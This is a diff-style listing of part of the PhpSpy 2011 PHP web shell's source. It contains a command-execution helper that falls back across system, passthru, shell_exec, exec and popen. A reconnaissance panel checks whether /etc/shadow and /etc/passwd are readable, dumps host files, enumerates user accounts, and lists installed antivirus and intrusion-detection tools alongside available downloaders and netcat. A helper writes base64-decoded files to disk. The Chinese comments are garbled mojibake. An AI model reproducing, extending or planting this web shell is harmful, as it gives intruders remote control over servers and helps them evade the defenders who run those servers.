| 1476 | 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), | 1476 | 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), |
| 1477 | 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), | 1477 | 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), |
| 1478 | 8 => array('PHP run mode',strtoupper(php_sapi_name())), | 1478 | 8 => array('PHP run mode',strtoupper(php_sapi_name())), |
| 1479 | 9 => array('The file path',__FILE__), | 1479 | 9 => array('The file path',__FILE__), |
| 1480 | 1480 | ||
| 1481 | 10 => array('PHP Version',PHP_VERSION), | 1481 | 10 => array('PHP Version',PHP_VERSION), |
| 1482 | 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')), | 1482 | 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')), |
| 1483 | 12 => array('Safe Mode',getcfg('safe_mode')), | 1483 | 12 => array('Safe Mode',getcfg('safe_mode')), |
| 1484 | 13 => array('Administrator',$adminmail), | 1484 | 13 => array('Administrator',$adminmail), |
| 1485 | 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), | 1485 | 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), |
| 1486 | 15 => array('enable_dl',getcfg('enable_dl')), | 1486 | 15 => array('enable_dl',getcfg('enable_dl')), |
| 1487 | 16 => array('display_errors',getcfg('display_errors')), | 1487 | 16 => array('display_errors',getcfg('display_errors')), |
| 1488 | 17 => array('register_globals',getcfg('register_globals')), | 1488 | 17 => array('register_globals',getcfg('register_globals')), |
| 1489 | 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), | 1489 | 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), |
| 1490 | 19 => array('memory_limit',getcfg('memory_limit')), | 1490 | 19 => array('memory_limit',getcfg('memory_limit')), |
| 1491 | 20 => array('post_max_size',getcfg('post_max_size')), | 1491 | 20 => array('post_max_size',getcfg('post_max_size')), |
| 1492 | 21 => array('upload_max_filesize',$upsize), | 1492 | 21 => array('upload_max_filesize',$upsize), |
| 1493 | 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), | 1493 | 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), |
| 1494 | 23 => array('disable_functions',$dis_func), | 1494 | 23 => array('disable_functions',$dis_func), |
| 1495 | ); | 1495 | ); |
| 1496 | 1496 | ||
| 1497 | if($phpvarname) { | 1497 | if($phpvarname) { |
| 1498 | m($phpvarname .' : '.getcfg($phpvarname)); | 1498 | m($phpvarname .' : '.getcfg($phpvarname)); |
| 1499 | } | 1499 | } |
| 1500 | 1500 | ||
| 1501 | formhead(array('title'=>'Server environment')); | 1501 | formhead(array('title'=>'Server environment')); |
| 1502 | makehide('action','phpenv'); | 1502 | makehide('action','phpenv'); |
| 1503 | makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); | 1503 | makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); |
| 1504 | formfooter(); | 1504 | formfooter(); |
| 1505 | 1505 | ||
| 1506 | $hp = array(0=> 'Server', 1=> 'PHP'); | 1506 | $hp = array(0=> 'Server', 1=> 'PHP'); |
| 1507 | for($a=0;$a<2;$a++) { | 1507 | for($a=0;$a<2;$a++) { |
| 1508 | p('<h2>'.$hp[$a].' »</h2>'); | 1508 | p('<h2>'.$hp[$a].' »</h2>'); |
| 1509 | p('<ul class="info">'); | 1509 | p('<ul class="info">'); |
| 1510 | if ($a==0) { | 1510 | if ($a==0) { |
| 1511 | for($i=1;$i<=9;$i++) { | 1511 | for($i=1;$i<=9;$i++) { |
| 1512 | p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); | 1512 | p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); |
| 1513 | } | 1513 | } |
| 1514 | } elseif ($a == 1) { | 1514 | } elseif ($a == 1) { |
| 1515 | for($i=10;$i<=23;$i++) { | 1515 | for($i=10;$i<=23;$i++) { |
| 1516 | p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); | 1516 | p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); |
| 1517 | } | 1517 | } |
| 1518 | } | 1518 | } |
| 1519 | p('</ul>'); | 1519 | p('</ul>'); |
| 1520 | } | 1520 | } |
| 1521 | }//end phpenv | 1521 | }//end phpenv |
| 1522 | 1522 | ||
| 1523 | elseif ($action == 'secinfo') { | 1523 | elseif ($action == 'secinfo') { |
| 1524 | 1524 | ||
| 1525 | secparam('Server software', @getenv('SERVER_SOFTWARE')); | 1525 | secparam('Server software', @getenv('SERVER_SOFTWARE')); |
| 1526 | secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); | 1526 | secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); |
| 1527 | secparam('Open base dir', @ini_get('open_basedir')); | 1527 | secparam('Open base dir', @ini_get('open_basedir')); |
| 1528 | secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); | 1528 | secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); |
| 1529 | secparam('Safe mode include dir', @ini_get('safe_mode_include_dir')); | 1529 | secparam('Safe mode include dir', @ini_get('safe_mode_include_dir')); |
| 1530 | secparam('cURL support', function_exists('curl_version')?'enabled':'no'); | 1530 | secparam('cURL support', function_exists('curl_version')?'enabled':'no'); |
| 1531 | $temp=array(); | 1531 | $temp=array(); |
| 1532 | if(function_exists('mysql_get_client_info')) | 1532 | if(function_exists('mysql_get_client_info')) |
| 1533 | $temp[] = "MySql (".mysql_get_client_info().")"; | 1533 | $temp[] = "MySql (".mysql_get_client_info().")"; |
| 1534 | if(function_exists('mssql_connect')) | 1534 | if(function_exists('mssql_connect')) |
| 1535 | $temp[] = "MSSQL"; | 1535 | $temp[] = "MSSQL"; |
| 1536 | if(function_exists('pg_connect')) | 1536 | if(function_exists('pg_connect')) |
| 1537 | $temp[] = "PostgreSQL"; | 1537 | $temp[] = "PostgreSQL"; |
| 1538 | if(function_exists('oci_connect')) | 1538 | if(function_exists('oci_connect')) |
| 1539 | $temp[] = "Oracle"; | 1539 | $temp[] = "Oracle"; |
| 1540 | secparam('Supported databases', implode(', ', $temp)); | 1540 | secparam('Supported databases', implode(', ', $temp)); |
| 1541 | 1541 | ||
| 1542 | if( !IS_WIN ) { | 1542 | if( !IS_WIN ) { |
| 1543 | $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); | 1543 | $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); |
| 1544 | $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); | 1544 | $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); |
| 1545 | $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); | 1545 | $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); |
| 1546 | secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no'); | 1546 | secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no'); |
| 1547 | secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no'); | 1547 | secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no'); |
| 1548 | secparam('OS version', @file_get_contents('/proc/version')); | 1548 | secparam('OS version', @file_get_contents('/proc/version')); |
| 1549 | secparam('Distr name', @file_get_contents('/etc/issue.net')); | 1549 | secparam('Distr name', @file_get_contents('/etc/issue.net')); |
| 1550 | $safe_mode = @ini_get('safe_mode'); | 1550 | $safe_mode = @ini_get('safe_mode'); |
| 1551 | if(!$GLOBALS['safe_mode']) { | 1551 | if(!$GLOBALS['safe_mode']) { |
| 1552 | $temp=array(); | 1552 | $temp=array(); |
| 1553 | foreach ($userful as $item) | 1553 | foreach ($userful as $item) |
| 1554 | if(which($item)){$temp[]=$item;} | 1554 | if(which($item)){$temp[]=$item;} |
| 1555 | secparam('Userful', implode(', ',$temp)); | 1555 | secparam('Userful', implode(', ',$temp)); |
| 1556 | $temp=array(); | 1556 | $temp=array(); |
| 1557 | foreach ($danger as $item) | 1557 | foreach ($danger as $item) |
| 1558 | if(which($item)){$temp[]=$item;} | 1558 | if(which($item)){$temp[]=$item;} |
| 1559 | secparam('Danger', implode(', ',$temp)); | 1559 | secparam('Danger', implode(', ',$temp)); |
| 1560 | $temp=array(); | 1560 | $temp=array(); |
| 1561 | foreach ($downloaders as $item) | 1561 | foreach ($downloaders as $item) |
| 1562 | if(which($item)){$temp[]=$item;} | 1562 | if(which($item)){$temp[]=$item;} |
| 1563 | secparam('Downloaders', implode(', ',$temp)); | 1563 | secparam('Downloaders', implode(', ',$temp)); |
| 1564 | secparam('Hosts', @file_get_contents('/etc/hosts')); | 1564 | secparam('Hosts', @file_get_contents('/etc/hosts')); |
| 1565 | secparam('HDD space', execute('df -h')); | 1565 | secparam('HDD space', execute('df -h')); |
| 1566 | secparam('Mount options', @file_get_contents('/etc/fstab')); | 1566 | secparam('Mount options', @file_get_contents('/etc/fstab')); |
| 1567 | } | 1567 | } |
| 1568 | } else { | 1568 | } else { |
| 1569 | secparam('OS Version',execute('ver')); | 1569 | secparam('OS Version',execute('ver')); |
| 1570 | secparam('Account Settings',execute('net accounts')); | 1570 | secparam('Account Settings',execute('net accounts')); |
| 1571 | secparam('User Accounts',execute('net user')); | 1571 | secparam('User Accounts',execute('net user')); |
| 1572 | secparam('IP Configurate',execute('ipconfig -all')); | 1572 | secparam('IP Configurate',execute('ipconfig -all')); |
| 1573 | } | 1573 | } |
| 1574 | }//end | 1574 | }//end |
| 1575 | 1575 | ||
| 1576 | else { | 1576 | else { |
| 1577 | m('Undefined Action'); | 1577 | m('Undefined Action'); |
| 1578 | } | 1578 | } |
| 1579 | 1579 | ||
| 1580 | ?> | 1580 | ?> |
| 1581 | </td></tr></table> | 1581 | </td></tr></table> |
| 1582 | <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"> | 1582 | <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"> |
| 1583 | <span style="float:right;"><?php debuginfo();ob_end_flush();?></span> | 1583 | <span style="float:right;"><?php debuginfo();ob_end_flush();?></span> |
| 1584 | Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved. | 1584 | Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved. |
| 1585 | </div> | 1585 | </div> |
| 1586 | </body> | 1586 | </body> |
| 1587 | </html> | 1587 | </html> |
| 1588 | 1588 | ||
| 1589 | <?php | 1589 | <?php |
| 1590 | 1590 | ||
| 1591 | /*====================================================== | 1591 | /*====================================================== |
| 1592 | º¯Êý¿â | 1592 | º¯Êý¿â |
| 1593 | ======================================================*/ | 1593 | ======================================================*/ |
| 1594 | 1594 | ||
| 1595 | function secparam($n, $v) { | 1595 | function secparam($n, $v) { |
| 1596 | $v = trim($v); | 1596 | $v = trim($v); |
| 1597 | if($v) { | 1597 | if($v) { |
| 1598 | p('<h2>'.$n.' »</h2>'); | 1598 | p('<h2>'.$n.' »</h2>'); |
| 1599 | p('<div class="infolist">'); | 1599 | p('<div class="infolist">'); |
| 1600 | if(strpos($v, "\n") === false) | 1600 | if(strpos($v, "\n") === false) |
| 1601 | p($v.'<br />'); | 1601 | p($v.'<br />'); |
| 1602 | else | 1602 | else |
| 1603 | p('<pre>'.$v.'</pre>'); | 1603 | p('<pre>'.$v.'</pre>'); |
| 1604 | p('</div>'); | 1604 | p('</div>'); |
| 1605 | } | 1605 | } |
| 1606 | } | 1606 | } |
| 1607 | function m($msg) { | 1607 | function m($msg) { |
| 1608 | echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">'; | 1608 | echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">'; |
| 1609 | echo $msg; | 1609 | echo $msg; |
| 1610 | echo '</div>'; | 1610 | echo '</div>'; |
| 1611 | } | 1611 | } |
| 1612 | function scookie($key, $value, $life = 0, $prefix = 1) { | 1612 | function scookie($key, $value, $life = 0, $prefix = 1) { |
| 1613 | global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; | 1613 | global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; |
| 1614 | $key = ($prefix ? $cookiepre : '').$key; | 1614 | $key = ($prefix ? $cookiepre : '').$key; |
| 1615 | $life = $life ? $life : $cookielife; | 1615 | $life = $life ? $life : $cookielife; |
| 1616 | $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; | 1616 | $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; |
| 1617 | setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); | 1617 | setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); |
| 1618 | } | 1618 | } |
| 1619 | function multi($num, $perpage, $curpage, $tablename) { | 1619 | function multi($num, $perpage, $curpage, $tablename) { |
| 1620 | $multipage = ''; | 1620 | $multipage = ''; |
| 1621 | if($num > $perpage) { | 1621 | if($num > $perpage) { |
| 1622 | $page = 10; | 1622 | $page = 10; |
| 1623 | $offset = 5; | 1623 | $offset = 5; |
| 1624 | $pages = @ceil($num / $perpage); | 1624 | $pages = @ceil($num / $perpage); |
| 1625 | if($page > $pages) { | 1625 | if($page > $pages) { |
| 1626 | $from = 1; | 1626 | $from = 1; |
| 1627 | $to = $pages; | 1627 | $to = $pages; |
| 1628 | } else { | 1628 | } else { |
| 1629 | $from = $curpage - $offset; | 1629 | $from = $curpage - $offset; |
| 1630 | $to = $curpage + $page - $offset - 1; | 1630 | $to = $curpage + $page - $offset - 1; |
| 1631 | if($from < 1) { | 1631 | if($from < 1) { |
| 1632 | $to = $curpage + 1 - $from; | 1632 | $to = $curpage + 1 - $from; |
| 1633 | $from = 1; | 1633 | $from = 1; |
| 1634 | if(($to - $from) < $page && ($to - $from) < $pages) { | 1634 | if(($to - $from) < $page && ($to - $from) < $pages) { |
| 1635 | $to = $page; | 1635 | $to = $page; |
| 1636 | } | 1636 | } |
| 1637 | } elseif($to > $pages) { | 1637 | } elseif($to > $pages) { |
| 1638 | $from = $curpage - $pages + $to; | 1638 | $from = $curpage - $pages + $to; |
| 1639 | $to = $pages; | 1639 | $to = $pages; |
| 1640 | if(($to - $from) < $page && ($to - $from) < $pages) { | 1640 | if(($to - $from) < $page && ($to - $from) < $pages) { |
| 1641 | $from = $pages - $page + 1; | 1641 | $from = $pages - $page + 1; |
| 1642 | } | 1642 | } |
| 1643 | } | 1643 | } |
| 1644 | } | 1644 | } |
| 1645 | $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : ''); | 1645 | $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : ''); |
| 1646 | for($i = $from; $i <= $to; $i++) { | 1646 | for($i = $from; $i <= $to; $i++) { |
| 1647 | $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> '; | 1647 | $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> '; |
| 1648 | } | 1648 | } |
| 1649 | $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : ''); | 1649 | $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : ''); |
| 1650 | $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : ''; | 1650 | $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : ''; |
| 1651 | } | 1651 | } |
| 1652 | return $multipage; | 1652 | return $multipage; |
| 1653 | } | 1653 | } |
| 1654 | // µÇ½Èë¿Ú | 1654 | // µÇ½Èë¿Ú |
| 1655 | function loginpage() { | 1655 | function loginpage() { |
| 1656 | ?> | 1656 | ?> |
| 1657 | <style type="text/css"> | 1657 | <style type="text/css"> |
| 1658 | input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;} | 1658 | input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;} |
| 1659 | </style> | 1659 | </style> |
| 1660 | <form method="POST" action=""> | 1660 | <form method="POST" action=""> |
| 1661 | <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20"> | 1661 | <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20"> |
| 1662 | <input type="hidden" name="action" value="login"> | 1662 | <input type="hidden" name="action" value="login"> |
| 1663 | <input type="submit" value="Login"> | 1663 | <input type="submit" value="Login"> |
| 1664 | </form> | 1664 | </form> |
| 1665 | <?php | 1665 | <?php |
| 1666 | exit; | 1666 | exit; |
| 1667 | }//end loginpage() | 1667 | }//end loginpage() |
| 1668 | 1668 | ||
| 1669 | function execute($cfe) { | 1669 | function execute($cfe) { |
| 1670 | $res = ''; | 1670 | $res = ''; |
| 1671 | if ($cfe) { | 1671 | if ($cfe) { |
| 1672 | if(function_exists('system')) { | 1672 | if(function_exists('system')) { |
| 1673 | @ob_start(); | 1673 | @ob_start(); |
| 1674 | @system($cfe); | 1674 | @system($cfe); |
| 1675 | $res = @ob_get_contents(); | 1675 | $res = @ob_get_contents(); |
| 1676 | @ob_end_clean(); | 1676 | @ob_end_clean(); |
| 1677 | } elseif(function_exists('passthru')) { | 1677 | } elseif(function_exists('passthru')) { |
| 1678 | @ob_start(); | 1678 | @ob_start(); |
| 1679 | @passthru($cfe); | 1679 | @passthru($cfe); |
| 1680 | $res = @ob_get_contents(); | 1680 | $res = @ob_get_contents(); |
| 1681 | @ob_end_clean(); | 1681 | @ob_end_clean(); |
| 1682 | } elseif(function_exists('shell_exec')) { | 1682 | } elseif(function_exists('shell_exec')) { |
| 1683 | $res = @shell_exec($cfe); | 1683 | $res = @shell_exec($cfe); |
| 1684 | } elseif(function_exists('exec')) { | 1684 | } elseif(function_exists('exec')) { |
| 1685 | @exec($cfe,$res); | 1685 | @exec($cfe,$res); |
| 1686 | $res = join("\n",$res); | 1686 | $res = join("\n",$res); |
| 1687 | } elseif(@is_resource($f = @popen($cfe,"r"))) { | 1687 | } elseif(@is_resource($f = @popen($cfe,"r"))) { |
| 1688 | $res = ''; | 1688 | $res = ''; |
| 1689 | while(!@feof($f)) { | 1689 | while(!@feof($f)) { |
| 1690 | $res .= @fread($f,1024); | 1690 | $res .= @fread($f,1024); |
| 1691 | } | 1691 | } |
| 1692 | @pclose($f); | 1692 | @pclose($f); |
| 1693 | } | 1693 | } |
| 1694 | } | 1694 | } |
| 1695 | return $res; | 1695 | return $res; |
| 1696 | } | 1696 | } |
| 1697 | function which($pr) { | 1697 | function which($pr) { |
| 1698 | $path = execute("which $pr"); | 1698 | $path = execute("which $pr"); |
| 1699 | return ($path ? $path : $pr); | 1699 | return ($path ? $path : $pr); |
| 1700 | } | 1700 | } |
| 1701 | 1701 | ||
| 1702 | function cf($fname,$text){ | 1702 | function cf($fname,$text){ |
| 1703 | if($fp=@fopen($fname,'w')) { | 1703 | if($fp=@fopen($fname,'w')) { |
| 1704 | @fputs($fp,@base64_decode($text)); | 1704 | @fputs($fp,@base64_decode($text)); |
| 1705 | @fclose($fp); | 1705 | @fclose($fp); |
| 1706 | } | 1706 | } |
| 1707 | } | 1707 | } |
| 1708 | function dirsize($dir) { | 1708 | function dirsize($dir) { |
| 1709 | $dh = @opendir($dir); | 1709 | $dh = @opendir($dir); |
| 1710 | $size = 0; | 1710 | $size = 0; |
| 1711 | while($file = @readdir($dh)) { | 1711 | while($file = @readdir($dh)) { |
| 1712 | if ($file != '.' && $file != '..') { | 1712 | if ($file != '.' && $file != '..') { |
| 1713 | $path = $dir.'/'.$file; | 1713 | $path = $dir.'/'.$file; |
| 1714 | $size += @is_dir($path) ? dirsize($path) : @filesize($path); | 1714 | $size += @is_dir($path) ? dirsize($path) : @filesize($path); |
| 1715 | } | 1715 | } |
| 1716 | } | 1716 | } |
| 1717 | @closedir($dh); | 1717 | @closedir($dh); |
| 1718 | return $size; | 1718 | return $size; |
| 1719 | } | 1719 | } |
| 1720 | // Ò³Ãæµ÷ÊÔÐÅÏ¢ | 1720 | // Ò³Ãæµ÷ÊÔÐÅÏ¢ |
| 1721 | function debuginfo() { | 1721 | function debuginfo() { |
| 1722 | global $starttime; | 1722 | global $starttime; |
| 1723 | $mtime = explode(' ', microtime()); | 1723 | $mtime = explode(' ', microtime()); |
| 1724 | $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); | 1724 | $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); |
| 1725 | echo 'Processed in '.$totaltime.' second(s)'; | 1725 | echo 'Processed in '.$totaltime.' second(s)'; |
| 1726 | } | 1726 | } |
| 1727 | 1727 | ||
| 1728 | //Á¬½ÓMYSQLÊý¾Ý¿â | 1728 | //Á¬½ÓMYSQLÊý¾Ý¿â |
| 1729 | function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { | 1729 | function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { |
| 1730 | global $charsetdb; | 1730 | global $charsetdb; |
| 1731 | @ini_set('mysql.connect_timeout', 5); | 1731 | @ini_set('mysql.connect_timeout', 5); |
| 1732 | if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { | 1732 | if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { |
| 1733 | p('<h2>Can not connect to MySQL server</h2>'); | 1733 | p('<h2>Can not connect to MySQL server</h2>'); |
| 1734 | exit; | 1734 | exit; |
| 1735 | } | 1735 | } |
| 1736 | if($link && $dbname) { | 1736 | if($link && $dbname) { |
| 1737 | if (!@mysql_select_db($dbname, $link)) { | 1737 | if (!@mysql_select_db($dbname, $link)) { |
| 1738 | p('<h2>Database selected has error</h2>'); | 1738 | p('<h2>Database selected has error</h2>'); |
| 1739 | exit; | 1739 | exit; |
| 1740 | } | 1740 | } |
| 1741 | } | 1741 | } |
| 1742 | if($link && mysql_get_server_info() > '4.1') { | 1742 | if($link && mysql_get_server_info() > '4.1') { |
| 1743 | if($charset && in_array(strtolower($charset), $charsetdb)) { | 1743 | if($charset && in_array(strtolower($charset), $charsetdb)) { |
| 1744 | q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); | 1744 | q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); |
| 1745 | } | 1745 | } |
| 1746 | } | 1746 | } |
| 1747 | return $link; | 1747 | return $link; |
| 1748 | } | 1748 | } |
| 1749 | 1749 | ||
| 1750 | // È¥µôתÒå×Ö·û | 1750 | // È¥µôתÒå×Ö·û |
| 1751 | function s_array(&$array) { | 1751 | function s_array(&$array) { |
| 1752 | if (is_array($array)) { | 1752 | if (is_array($array)) { |
| 1753 | foreach ($array as $k => $v) { | 1753 | foreach ($array as $k => $v) { |
| 1754 | $array[$k] = s_array($v); | 1754 | $array[$k] = s_array($v); |
| 1755 | } | 1755 | } |
| 1756 | } else if (is_string($array)) { | 1756 | } else if (is_string($array)) { |
| 1757 | $array = stripslashes($array); | 1757 | $array = stripslashes($array); |
| 1758 | } | 1758 | } |
| 1759 | return $array; | 1759 | return $array; |
| 1760 | } | 1760 | } |
| 1761 | 1761 | ||
| 1762 | // Çå³ýHTML´úÂë | 1762 | // Çå³ýHTML´úÂë |
| 1763 | function html_clean($content) { | 1763 | function html_clean($content) { |
| 1764 | $content = htmlspecialchars($content); | 1764 | $content = htmlspecialchars($content); |
| 1765 | $content = str_replace("\n", "<br />", $content); | 1765 | $content = str_replace("\n", "<br />", $content); |
| 1766 | $content = str_replace(" ", " ", $content); | 1766 | $content = str_replace(" ", " ", $content); |
| 1767 | $content = str_replace("\t", " ", $content); | 1767 | $content = str_replace("\t", " ", $content); |
| 1768 | return $content; | 1768 | return $content; |
| 1769 | } | 1769 | } |
| 1770 | 1770 | ||
| 1771 | // »ñȡȨÏÞ | 1771 | // »ñȡȨÏÞ |
| 1772 | function getChmod($filepath){ | 1772 | function getChmod($filepath){ |
| 1773 | return substr(base_convert(@fileperms($filepath),10,8),-4); | 1773 | return substr(base_convert(@fileperms($filepath),10,8),-4); |
| 1774 | } | 1774 | } |
| 1775 | 1775 | ||
| 1776 | function getPerms($filepath) { | 1776 | function getPerms($filepath) { |
| 1777 | $mode = @fileperms($filepath); | 1777 | $mode = @fileperms($filepath); |
| 1778 | if (($mode & 0xC000) === 0xC000) {$type = 's';} | 1778 | if (($mode & 0xC000) === 0xC000) {$type = 's';} |
| 1779 | elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} | 1779 | elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} |
| 1780 | elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} | 1780 | elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} |
| 1781 | elseif (($mode & 0x8000) === 0x8000) {$type = '-';} | 1781 | elseif (($mode & 0x8000) === 0x8000) {$type = '-';} |
| 1782 | elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} | 1782 | elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} |
| 1783 | elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} | 1783 | elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} |
| 1784 | elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} | 1784 | elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} |
| 1785 | else {$type = '?';} | 1785 | else {$type = '?';} |
| 1786 | 1786 | ||
| 1787 | $owner['read'] = ($mode & 00400) ? 'r' : '-'; | 1787 | $owner['read'] = ($mode & 00400) ? 'r' : '-'; |
| 1788 | $owner['write'] = ($mode & 00200) ? 'w' : '-'; | 1788 | $owner['write'] = ($mode & 00200) ? 'w' : '-'; |
| 1789 | $owner['execute'] = ($mode & 00100) ? 'x' : '-'; | 1789 | $owner['execute'] = ($mode & 00100) ? 'x' : '-'; |
| 1790 | $group['read'] = ($mode & 00040) ? 'r' : '-'; | 1790 | $group['read'] = ($mode & 00040) ? 'r' : '-'; |
| 1791 | $group['write'] = ($mode & 00020) ? 'w' : '-'; | 1791 | $group['write'] = ($mode & 00020) ? 'w' : '-'; |
| 1792 | $group['execute'] = ($mode & 00010) ? 'x' : '-'; | 1792 | $group['execute'] = ($mode & 00010) ? 'x' : '-'; |
| 1793 | $world['read'] = ($mode & 00004) ? 'r' : '-'; | 1793 | $world['read'] = ($mode & 00004) ? 'r' : '-'; |
| 1794 | $world['write'] = ($mode & 00002) ? 'w' : '-'; | 1794 | $world['write'] = ($mode & 00002) ? 'w' : '-'; |
| 1795 | $world['execute'] = ($mode & 00001) ? 'x' : '-'; | 1795 | $world['execute'] = ($mode & 00001) ? 'x' : '-'; |
| 1796 | 1796 | ||
| 1797 | if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} | 1797 | if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} |
| 1798 | if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} | 1798 | if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} |
| 1799 | if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} | 1799 | if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} |
| 1800 | 1800 | ||
| 1801 | return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; | 1801 | return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; |
